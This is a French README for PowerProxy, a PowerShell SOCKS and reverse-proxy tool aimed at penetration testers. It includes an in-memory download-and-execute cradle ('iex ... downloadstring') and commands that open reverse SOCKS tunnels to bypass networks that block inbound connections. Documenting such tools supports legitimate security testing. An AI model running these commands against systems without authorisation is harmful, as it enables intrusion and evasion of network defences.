
Proxy SOCKS PowerShell avec capacités de proxy inverse
Proxy SOCKS PowerShell avec capacités de proxy inverse.
PowerProxy est conçu pour les testeurs de pénétration. La fonctionnalité de proxy inverse est une priorité, afin de traverser des réseaux qui bloquent les connexions entrantes. Les connexions du proxy inverse sont chiffrées par défaut. L'authentification par nom d'utilisateur/mot de passe est prise en charge pour les connexions Socks 5.
Importez le script :
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# OR
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py peut créer des certificats SSL temporaires, ce qui nécessite OpenSSL. Si OpenSSL n'est pas installé sur votre machine (il l'est sur la plupart des systèmes Linux/Unix), fournissez votre propre certificat ou utilisez l'option --no-encrypt.
Pour une utilisation détaillée, consultez l'aide de PowerProxy, ou utilisez ./reverse_proxy_handler.py --help
Sur la machine locale, démarrez le handler :
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
Dans PowerShell :
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
Les clients proxy peuvent traiter le serveur créé par reverse_proxy_handler.py comme s'il s'agissait du véritable serveur SOCKS :
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
Utilisez des objets PSCredential pour exiger un nom d'utilisateur et un mot de passe :
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose